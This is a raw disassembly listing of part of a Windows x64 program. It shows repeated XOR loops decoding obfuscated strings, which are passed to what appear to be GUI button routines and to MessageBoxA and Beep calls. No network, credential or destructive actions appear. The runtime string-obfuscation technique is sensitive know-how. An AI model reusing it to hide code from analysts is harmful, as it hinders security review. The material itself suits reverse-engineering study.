mov dword [rbp + 0x4d0], 0x43700000
mov dword [rbp + 0x4d4], 0x42200000
movups xmm0, xmmword [str._T_U_SYL]
movups xmmword [rbp + 0x880], xmm0
movsd xmm0, qword [0x14015c958]
movsd qword [rbp + 0x890], xmm0
mov eax, dword [0x14015c960]
mov dword [rbp + 0x898], eax
cmp byte [0x14015c963], 0
je 0x1400988a0
mov r8d, r12d
cmp r14d, 2
jl 0x140098859
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x884]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140098750
cmp r8d, 0x1c
jge 0x1400988a0
movsxd rax, r8d
lea r9, [rbp + 0x880]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140098870
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d7d8]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d7d0]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d7c8]
xor r8d, r8d
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x880]
call fcn.14003f580
test al, al
je 0x140098cb6
movsd xmm0, qword [0x14015c9a8]
movsd qword [rbp + 0x178], xmm0
mov eax, dword [0x14015c9b0]
mov dword [rbp + 0x180], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x184], al
mov r8d, r12d
cmp r14d, 2
jl 0x140098a4a
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c9a8]
xorps xmm2, xmm0
movd dword [rbp + 0x178], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140098a60
movups xmm0, xmmword [str.kaWAYTXRVMgehU_]
movups xmmword [rbp + 0xb00], xmm0
movups xmm1, xmmword [str.0_0.d66___9l:_q_5_w_1_5_1_]
movups xmmword [rbp + 0xb10], xmm1
movups xmm0, xmmword [0x14015c988]
movups xmmword [rbp + 0xb20], xmm0
movsd xmm0, qword [0x14015c998]
movsd qword [rbp + 0xb30], xmm0
movzx eax, word [0x14015c9a0]
mov word [rbp + 0xb38], ax
movzx eax, byte [0x14015c9a2]
mov byte [rbp + 0xb3a], al
mov r8d, r12d
cmp r14d, 2
jl 0x140098c39
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb04]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140098b30
cmp r8d, 0x3b
jge 0x140098c80
movsxd rax, r8d
lea r9, [rbp + 0xb00]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140098c50
mov r9d, 0x40
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0xb00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14006c2c0
call fcn.14007e980
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
movaps xmm7, xmmword [0x14015f2c0]
mov dword [rbp + 0x4d8], 0x43700000
mov dword [rbp + 0x4dc], 0x42200000
movups xmm0, xmmword [str.dT_C_GWEA]
movups xmmword [rbp + 0x720], xmm0
mov eax, dword [str._a0___F]
mov dword [rbp + 0x730], eax
movzx eax, word [0x14015c9cc]
mov word [rbp + 0x734], ax
movzx eax, byte [0x14015c9ce]
mov byte [rbp + 0x736], al
mov r8d, r12d
cmp r14d, 2
jl 0x140098e5a
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x724]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140098d51
cmp r8d, 0x17
jge 0x140098ea0
movsxd rax, r8d
lea r9, [rbp + 0x720]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140098e70
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d7f0]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d7e8]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d7e0]
xor r8d, r8d
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x720]
call fcn.14003f580
test al, al
je 0x1400992a1
movsd xmm0, qword [0x14015ca20]
movsd qword [rbp + 0x188], xmm0
mov eax, dword [0x14015ca28]
mov dword [rbp + 0x190], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x194], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009904a
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015ca20]
xorps xmm2, xmm0
movd dword [rbp + 0x188], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140099060
movups xmm0, xmmword [str.keWDZDVJ_gehU_]
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [str.4__3751i9____q4_u]
movups xmmword [rbp + 0xbd0], xmm1
movups xmm0, xmmword [0x14015c9f0]
movups xmmword [rbp + 0xbe0], xmm0
movups xmm1, xmmword [0x14015ca00]
movups xmmword [rbp + 0xbf0], xmm1
movsd xmm0, qword [0x14015ca10]
movsd qword [rbp + 0xc00], xmm0
mov eax, dword [0x14015ca18]
mov dword [rbp + 0xc08], eax
movzx eax, byte [0x14015ca1c]
mov byte [rbp + 0xc0c], al
mov r8d, r12d
cmp r14d, 2
jl 0x140099239
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xbc4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140099130
cmp r8d, 0x4d
jge 0x140099280
movsxd rax, r8d
lea r9, [rbp + 0xbc0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140099250
mov r9d, 0x40
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0xbc0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.14007f070
mov dword [rbp + 0x4e0], 0x42480000
mov dword [rbp + 0x4e4], 0x43a00000
lea rcx, [rbp + 0x4e0]
call fcn.140025d40
movaps xmm1, xmmword [0x14015f2c0]
mov dword [rbp + 0x4e8], 0x43700000
mov dword [rbp + 0x4ec], 0x42200000
movsd xmm0, qword [str.tTWC]
movsd qword [rbp + 0x58], xmm0
movzx ecx, word [0x14015ca38]
mov word [rbp + 0x60], cx
movzx eax, byte [0x14015ca3a]
mov byte [rbp + 0x58], 0x44
xor byte [rbp + 0x59], 0x31
xor byte [rbp + 0x5a], 0x32
xor byte [rbp + 0x5b], 0x33
xor byte [rbp + 0x5c], 0x34
xor byte [rbp + 0x5d], 0x35
xor byte [rbp + 0x5e], 0x36
xor byte [rbp + 0x5f], 0x37
xor cl, 0x38
mov byte [rbp + 0x60], cl
xor byte [rbp + 0x61], 0x39
xor al, 0x3a
mov byte [rbp + 0x62], al
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d820]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d818]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d810]
xor r8d, r8d
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x58]
call fcn.14003f580
test al, al
je 0x140099711
movsd xmm0, qword [0x14015ca80]
movsd qword [rbp + 0x198], xmm0
mov eax, dword [0x14015ca88]
mov dword [rbp + 0x1a0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1a4], al
mov r8d, r12d
cmp r14d, 2
jl 0x1400994d1
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015ca80]
xorps xmm2, xmm0
movd dword [rbp + 0x198], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400994e0
movups xmm0, xmmword [str.kuWVD]
movups xmmword [rbp + 0xb78], xmm0
movups xmm1, xmmword [0x14015ca50]
movups xmmword [rbp + 0xb88], xmm1
movups xmm0, xmmword [0x14015ca60]
movups xmmword [rbp + 0xb98], xmm0
movsd xmm0, qword [0x14015ca70]
movsd qword [rbp + 0xba8], xmm0
mov eax, dword [0x14015ca78]
mov dword [rbp + 0xbb0], eax
mov r8d, r12d
cmp r14d, 2
jl 0x1400996a9
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb7c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400995a0
cmp r8d, 0x3c
jge 0x1400996f0
movsxd rax, r8d
lea r9, [rbp + 0xb78]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400996c0
mov r9d, 0x40
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140082f60
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
movaps xmm6, xmmword [0x14015f2c0]
mov dword [rbp + 0x4f0], 0x43700000
mov dword [rbp + 0x4f4], 0x42200000
movsd xmm0, qword [str.aD_P_]
movsd qword [rbp + 0x1d8], xmm0
mov eax, dword [0x14015ca98]
mov dword [rbp + 0x1e0], eax
cmp byte [0x14015ca9b], 0
je 0x1400998c0
mov r8d, r12d
cmp r14d, 2
jl 0x140099877
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aD_P_]
xorps xmm2, xmm0
movd dword [rbp + 0x1d8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1dc]
xorps xmm2, xmm1
movd dword [rbp + 0x1dc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140099890
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d838]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d830]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d828]
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x1d8]
call fcn.14003f580
test al, al
je 0x140099ca1
movsd xmm0, qword [str.FZRUVLPUU_]
movsd qword [rbp + 0x1a8], xmm0
mov eax, dword [0x14015cae0]
mov dword [rbp + 0x1b0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1b4], al
mov r8d, r12d
cmp r14d, 2
jl 0x140099a6a
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.FZRUVLPUU_]
xorps xmm2, xmm0
